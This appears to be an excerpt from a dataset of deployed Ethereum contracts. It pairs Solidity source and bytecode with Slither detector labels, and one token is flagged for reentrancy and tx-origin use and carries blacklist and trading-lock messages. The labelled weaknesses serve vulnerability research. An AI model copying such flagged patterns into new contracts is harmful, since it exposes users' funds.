a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130ae565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130ae565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b60008060408385031215612ffc57612ffb612c85565b5b600061300a85828601612f5a565b925050602061301b85828601612f5a565b9150509250929050565b6000819050919050565b600061304a61304561304084612d51565b613025565b612d51565b9050919050565b600061305c8261302f565b9050919050565b600061306e82613051565b9050919050565b61307e81613063565b82525050565b60006020820190506130996000830184613075565b92915050565b6130a881612f39565b82525050565b60006020820190506130c3600083018461309f565b92915050565b6000806000606084860312156130e2576130e1612c85565b5b60006130f086828701612d9a565b935050602061310186828701612d9a565b925050604061311286828701612f5a565b9150509250925092565b600060ff82169050919050565b6131328161311c565b82525050565b600060208201905061314d6000830184613129565b92915050565b61315c81612d71565b82525050565b60006020820190506131776000830184613153565b92915050565b61318681612faf565b811461319157600080fd5b50565b6000813590506131a38161317d565b92915050565b600080604083850312156131c0576131bf612c85565b5b60006131ce85828601612d9a565b92505060206131df85828601613194565b9150509250929050565b600080fd5b60008083601f84011261320457613203612c8f565b5b8235905067ffffffffffffffff811115613221576132206131e9565b5b60208301915083602082028301111561323d5761323c612d4c565b5b9250929050565b60008083601f84011261325a57613259612c8f565b5b8235905067ffffffffffffffff811115613277576132766131e9565b5b60208301915083602082028301111561329357613292612d4c565b5b9250929050565b600080600080604085870312156132b4576132b3612c85565b5b600085013567ffffffffffffffff8111156132d2576132d1612c8a565b5b6132de878288016131ee565b9450945050602085013567ffffffffffffffff81111561330157613300612c8a565b5b61330d87828801613244565b925092505092959194509250565b60006020828403121561333157613330612c85565b5b600061333f84828501612d9a565b91505092915050565b60006020828403121561335e5761335d612c85565b5b600061336c84828501613194565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b613025565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc9600083018861309f565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf76060830185613153565b613d04608083018461309f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb6000830189613153565b613ee8602083018861309f565b613ef56040830187613be7565b613f026060830186613be7565b613f0f6080830185613153565b613f1c60a083018461309f565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a155ef799a8ce1fa0dfa82e3461897a810bc1f5de8ec277f9e6fe50a448d12264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 626 |
0x3ad0aa9d8d8dcc77798febd24336195676216a73 | pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
address master;
bool public paused;
modifier isMaster {
require(msg.sender == master);
_;
}
modifier isPause {
require(paused == true);
_;
}
modifier isNotPause {
require(paused == false);
_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public isNotPause returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public isNotPause
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public isNotPause returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public isNotPause
returns (bool)
{
require(_spender != address(0));
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public isNotPause
returns (bool)
{
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FMToken is StandardToken {
string public constant name = "DigItal Homo Sapiens File Mine";
string public constant symbol = "FM";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 50000000000 * (10 ** uint256(decimals));
address private constant coinbase_address = 0x153238BEb2E4d05B7CdE4268b87354de527E30dc;
uint8 private constant coinbase_percent = 100;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor(address _master) public {
require(_master != address(0));
totalSupply_ = INITIAL_SUPPLY;
master = _master;
paused = false;
balances[coinbase_address] = INITIAL_SUPPLY * coinbase_percent / 100;
}
function batchTransfer(address[] _to, uint256[] _amount) public isNotPause returns (bool) {
for (uint i = 0; i < _to.length; i++) {
transfer(_to[i] , _amount[i]);
}
return true;
}
function setPause() public isMaster isNotPause{
paused = true;
}
function setResume() public isMaster isPause{
paused = false;
}
function pauseStatus() public view isMaster returns (bool){
return paused;
}
} | 0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de5780632ff2e9dc14610208578063313ce5671461021d578063466916ca146102485780635c975abb1461025d578063661884631461027257806370a082311461029657806388d695b2146102b757806395d89b4114610345578063a9059cbb1461035a578063d33ecfee1461037e578063d431b1ac14610395578063d73dd623146103aa578063dd62ed3e146103ce575b600080fd5b34801561010157600080fd5b5061010a6103f5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561042c565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6104c1565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a03600435811690602435166044356104c7565b34801561021457600080fd5b506101cc61065f565b34801561022957600080fd5b5061023261066f565b6040805160ff9092168252519081900360200190f35b34801561025457600080fd5b506101a3610674565b34801561026957600080fd5b506101a36106a3565b34801561027e57600080fd5b506101a3600160a060020a03600435166024356106b3565b3480156102a257600080fd5b506101cc600160a060020a03600435166107dc565b3480156102c357600080fd5b50604080516020600480358082013583810280860185019096528085526101a395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506107f79650505050505050565b34801561035157600080fd5b5061010a61086b565b34801561036657600080fd5b506101a3600160a060020a03600435166024356108a2565b34801561038a57600080fd5b506103936109b3565b005b3480156103a157600080fd5b50610393610a09565b3480156103b657600080fd5b506101a3600160a060020a0360043516602435610a61565b3480156103da57600080fd5b506101cc600160a060020a0360043581169060243516610b30565b60408051808201909152601e81527f4469674974616c20486f6d6f2053617069656e732046696c65204d696e650000602082015281565b60035460009060a060020a900460ff161561044657600080fd5b600160a060020a038316151561045b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60015490565b60035460009060a060020a900460ff16156104e157600080fd5b600160a060020a03831615156104f657600080fd5b600160a060020a03841660009081526020819052604090205482111561051b57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561054e57600080fd5b600160a060020a038416600090815260208190526040902054610577908363ffffffff610b5b16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105ac908363ffffffff610b6d16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105f2908363ffffffff610b5b16565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6ba18f07d736b90be55000000081565b601281565b60035460009033600160a060020a0390811691161461069257600080fd5b5060035460a060020a900460ff1690565b60035460a060020a900460ff1681565b600354600090819060a060020a900460ff16156106cf57600080fd5b600160a060020a03841615156106e457600080fd5b50600160a060020a033381166000908152600260209081526040808320938716835292905220548083111561074057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610777565b610750818463ffffffff610b5b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090819060a060020a900460ff161561081357600080fd5b5060005b835181101561086157610858848281518110151561083157fe5b90602001906020020151848381518110151561084957fe5b906020019060200201516108a2565b50600101610817565b5060019392505050565b60408051808201909152600281527f464d000000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156108bc57600080fd5b600160a060020a03831615156108d157600080fd5b600160a060020a0333166000908152602081905260409020548211156108f657600080fd5b600160a060020a03331660009081526020819052604090205461091f908363ffffffff610b5b16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610954908363ffffffff610b6d16565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b60035433600160a060020a039081169116146109ce57600080fd5b60035460a060020a900460ff1615156001146109e957600080fd5b6003805474ff000000000000000000000000000000000000000019169055565b60035433600160a060020a03908116911614610a2457600080fd5b60035460a060020a900460ff1615610a3b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a179055565b60035460009060a060020a900460ff1615610a7b57600080fd5b600160a060020a0383161515610a9057600080fd5b600160a060020a03338116600090815260026020908152604080832093871683529290522054610ac6908363ffffffff610b6d16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610b6757fe5b50900390565b81810182811015610b7a57fe5b929150505600a165627a7a72305820d5d900eef72f313bd3ef2949ec996774134cf1213e437bee3b2fb52e6d6a3c050029 | {"success": true, "error": null, "results": {}} | 627 |
0x8309dd14df991b8f26954b3a2c0d03aad6cc0547 | pragma solidity ^0.4.18;
/** SafeMath libs are inspired by:
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* There is debate as to whether this lib should use assert or require:
* https://github.com/OpenZeppelin/zeppelin-solidity/issues/565
* `require` is used in these libraries for the following reasons:
* - overflows should not be checked in contract function bodies; DRY
* - "valid" user input can cause overflows, which should not assert()
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
library SafeMath64 {
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a);
return a - b;
}
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a);
return c;
}
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// https://github.com/ethereum/EIPs/issues/179
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// https://github.com/ethereum/EIPs/issues/20
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/** KarmaToken has the following properties:
*
* User Creation:
* - Self-registration
* - Owner signs hash(address, username, endowment), and sends to user
* - User registers with username, endowment, and signature to create new account.
* - Mod creates new user.
* - Users are first eligible to withdraw dividends for the period after account creation.
*
* Karma/Token Rules:
* - Karma is created by initial user creation endowment.
* - Karma can also be minted by mod into an existing account.
* - Karma can only be transferred to existing account holder.
* - Karma implements the ERC20 token interface.
*
* Dividends:
* - each user can withdraw a dividend once per month.
* - dividend is total contract value minus owner cut at end of the month, divided by total number of users at end of month.
* - owner cut is determined at beginning of new period.
* - user has 1 month to withdraw their dividend from the previous month.
* - if user does not withdraw their dividend, their share will be given to owner.
* - mod can place a user on a 1 month "timeout", whereby they won't be eligible for a dividend.
* Eg: 10 eth is sent to the contract in January, owner cut is 30%.
* There are 70 token holders on Jan 31. At any time in February, each token holder can withdraw .1 eth for their January
* dividend (unless they were given a "timeout" in January).
*/
contract Karma is Ownable, DetailedERC20("KarmaToken", "KARMA", 0) {
// SafeMath libs are responsible for checking overflow.
using SafeMath for uint256;
using SafeMath64 for uint64;
struct User {
bytes20 username;
uint64 karma;
uint16 canWithdrawPeriod;
uint16 birthPeriod;
}
// Manage users.
mapping(address => User) public users;
mapping(bytes20 => address) public usernames;
// Manage dividend payments.
uint256 public epoch; // Timestamp at start of new period.
uint256 dividendPool; // Total amount of dividends to pay out for last period.
uint256 public dividend; // Per-user share of last period's dividend.
uint256 public ownerCut; // Percentage, in basis points, of owner cut of this period's payments.
uint64 public numUsers; // Number of users created before this period.
uint64 public newUsers; // Number of users created during this period.
uint16 public currentPeriod = 1;
address public moderator;
mapping(address => mapping (address => uint256)) internal allowed;
event Mint(address indexed to, uint256 amount);
event PeriodEnd(uint16 period, uint256 amount, uint64 users);
event Payment(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint16 indexed period, uint256 amount);
event NewUser(address addr, bytes20 username, uint64 endowment);
modifier onlyMod() {
require(msg.sender == moderator);
_;
}
function Karma(uint256 _startEpoch) public {
epoch = _startEpoch;
moderator = msg.sender;
}
function() payable public {
Payment(msg.sender, msg.value);
}
/**
* Owner Functions
*/
function setMod(address _newMod) public onlyOwner {
moderator = _newMod;
}
// Owner should call this on 1st of every month.
// _ownerCut is new owner cut for new period.
function newPeriod(uint256 _ownerCut) public onlyOwner {
require(now >= epoch + 28 days);
require(_ownerCut <= 10000);
uint256 unclaimedDividend = dividendPool;
uint256 ownerRake = (this.balance-unclaimedDividend) * ownerCut / 10000;
dividendPool = this.balance - unclaimedDividend - ownerRake;
// Calculate dividend.
uint64 existingUsers = numUsers;
if (existingUsers == 0) {
dividend = 0;
} else {
dividend = dividendPool / existingUsers;
}
numUsers = numUsers.add(newUsers);
newUsers = 0;
currentPeriod++;
epoch = now;
ownerCut = _ownerCut;
msg.sender.transfer(ownerRake + unclaimedDividend);
PeriodEnd(currentPeriod-1, this.balance, existingUsers);
}
/**
* Mod Functions
*/
function createUser(address _addr, bytes20 _username, uint64 _amount) public onlyMod {
newUser(_addr, _username, _amount);
}
// Send karma to existing account.
function mint(address _addr, uint64 _amount) public onlyMod {
require(users[_addr].canWithdrawPeriod != 0);
users[_addr].karma = users[_addr].karma.add(_amount);
totalSupply = totalSupply.add(_amount);
Mint(_addr, _amount);
}
// If a user has been bad, they won't be able to receive a dividend :(
function timeout(address _addr) public onlyMod {
require(users[_addr].canWithdrawPeriod != 0);
users[_addr].canWithdrawPeriod = currentPeriod + 1;
}
/**
* User Functions
*/
// Owner will sign hash(address, username, amount), and address owner uses this
// signature to register their account.
function register(bytes20 _username, uint64 _endowment, bytes _sig) public {
require(recover(keccak256(msg.sender, _username, _endowment), _sig) == owner);
newUser(msg.sender, _username, _endowment);
}
// User can withdraw their share of donations from the previous month.
function withdraw() public {
require(users[msg.sender].canWithdrawPeriod != 0);
require(users[msg.sender].canWithdrawPeriod < currentPeriod);
users[msg.sender].canWithdrawPeriod = currentPeriod;
dividendPool -= dividend;
msg.sender.transfer(dividend);
Withdrawal(msg.sender, currentPeriod-1, dividend);
}
/**
* ERC20 Functions
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return users[_owner].karma;
}
// Contrary to most ERC20 implementations, require that recipient is existing user.
function transfer(address _to, uint256 _value) public returns (bool) {
require(users[_to].canWithdrawPeriod != 0);
require(_value <= users[msg.sender].karma);
// Type assertion to uint64 is safe because we require that _value is < uint64 above.
users[msg.sender].karma = users[msg.sender].karma.sub(uint64(_value));
users[_to].karma = users[_to].karma.add(uint64(_value));
Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
